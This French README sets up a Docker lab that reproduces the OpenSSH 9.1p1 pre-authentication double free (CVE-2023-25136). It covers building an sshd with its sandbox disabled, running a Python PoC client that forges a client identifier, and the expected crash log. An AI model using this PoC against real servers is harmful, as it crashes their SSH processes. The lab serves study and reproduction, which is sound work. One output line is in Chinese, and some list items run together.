
Environnement de reproduction minimal basé sur Docker pour la vulnérabilité de double libération avant authentification d'OpenSSH 9.1p1 (CVE-2023-25136), démontrant une corruption mémoire et un déni de service via un client Python de preuve de concept.
Ce projet fournit un environnement d'expérimentation local minimaliste pour reproduire la vulnérabilité de corruption mémoire double free en pré-authentification dans OpenSSH 9.1p1 (CVE-2023-25136), et observer l'effet de crash du processus serveur (DoS).
Note : Les analyses officielles et dominantes considèrent que cette vulnérabilité est "difficile à exploiter concrètement pour une exécution de code à distance" dans la configuration de sécurité par défaut. Cet environnement sert principalement à démontrer une erreur mémoire et un effet de déni de service.
Cible (Target) :
sshd est configuré--with-sandbox=no pour désactiver le bac à sable seccomp22 interne, mappé sur le port 2222 de l'hôte (WSL)Attaquant (Attacker) :
paramiko pour exécuter le PoC, construisant un identifiant client SSH spécifique et initiant une poignée de main pré-authentificationStructure du répertoire :
Dockerfile : Image pour construire l'environnement vulnérable OpenSSH 9.1p1poc.py : Client PoC minimal pour déclencher le double free en phase de pré-authentificationAvant d'effectuer les opérations suivantes dans ce répertoire, assurez-vous :
pip sont installésExécutez dans ce répertoire :
docker build -t sshd-9.1p1-vuln .
docker run --rm -d --name sshd-vuln -p 2222:22 sshd-9.1p1-vuln
Explication :
--rm : Supprime automatiquement le conteneur après sa sortie--name sshd-vuln : Nom du conteneur-p 2222:22 : Mappe le port 22 interne du conteneur sur le port 2222 de l'hôtedocker ps
Vous devriez voir quelque chose comme :
CONTAINER ID IMAGE COMMAND STATUS PORTS
xxxxxx sshd-9.1p1-vuln "/usr/sbin/sshd -D…" Up ... 0.0.0.0:2222->22/tcp
Exécutez dans ce répertoire :
pip install paramiko
poc.py utilise paramiko.Transport pour établir activement une connexion avec le serveur SSH cible, contrefait l'identifiant client en phase de pré-authentification et tente de déclencher le double free.
Caractéristiques clés :
127.0.0.1:2222 (c'est-à-dire le conteneur Docker local)SSH-2.0-PuTTY_Release_0.64-t/--target : IP cible (par défaut 127.0.0.1)-p/--port : Port cible (par défaut 2222)-c/--client-id : Identifiant SSH client contrefait--timeout : Délai d'attente (secondes)-v/--verbose : Affiche les informations d'erreur détailléesAssurez-vous que le conteneur sshd-vuln est démarré, puis exécutez dans ce répertoire :
python3 poc.py
Ou spécifiez explicitement les paramètres :
python3 poc.py -t 127.0.0.1 -p 2222 -v
Exemple de sortie attendue du client :
==============================================
CVE-2023-25136 OpenSSH Pre-Auth Double Free
Minimal PoC Client
==============================================
[2024-xx-xx xx:xx:xx] Target: 127.0.0.1:2222, ClientID: SSH-2.0-PuTTY_Release_0.64
[+] Sending crafted pre-auth handshake...
[-] Authentication failed or connection closed early.
请在服务端 sshd 日志中查看是否出现 'free(): double free detected' 等信息,以确认是否触发 CVE-2023-25136。
Explication :
Authentication failed ou connection closed est attendue, car le sous-processus de pré-authentification du serveur peut planter ou fermer activement la connexion pendant le traitement.Après avoir exécuté le PoC, consultez les logs du conteneur sur l'hôte :
docker logs sshd-vuln
Vous devriez voir une sortie similaire :
Server listening on 0.0.0.0 port 22.
Server listening on :: port 22.
Invalid user from 172.17.0.1 port xxxxx
free(): double free detected in tcache 2
Où :
Invalid user : En raison de l'utilisation d'un nom d'utilisateur vide par le PoC, OpenSSH enregistre une tentative d'utilisateur invalidefree(): double free detected in tcache 2 : glibc détecte un double free et termine le sous-processus sshd en cours ; c'est le phénomène de corruption mémoire / DoS que cette expérience vise à observerRemarque : Pour pouvoir voir cette ligne, nous avons désactivé le bac à sable seccomp lors de la construction d'OpenSSH (
--with-sandbox=no). Sinon, le bac à sable pourrait intercepter le comportement anormal avant le double free et terminer directement le sous-processus.
sshd continue de créer de nouveaux sous-processus pour les connexions ultérieures.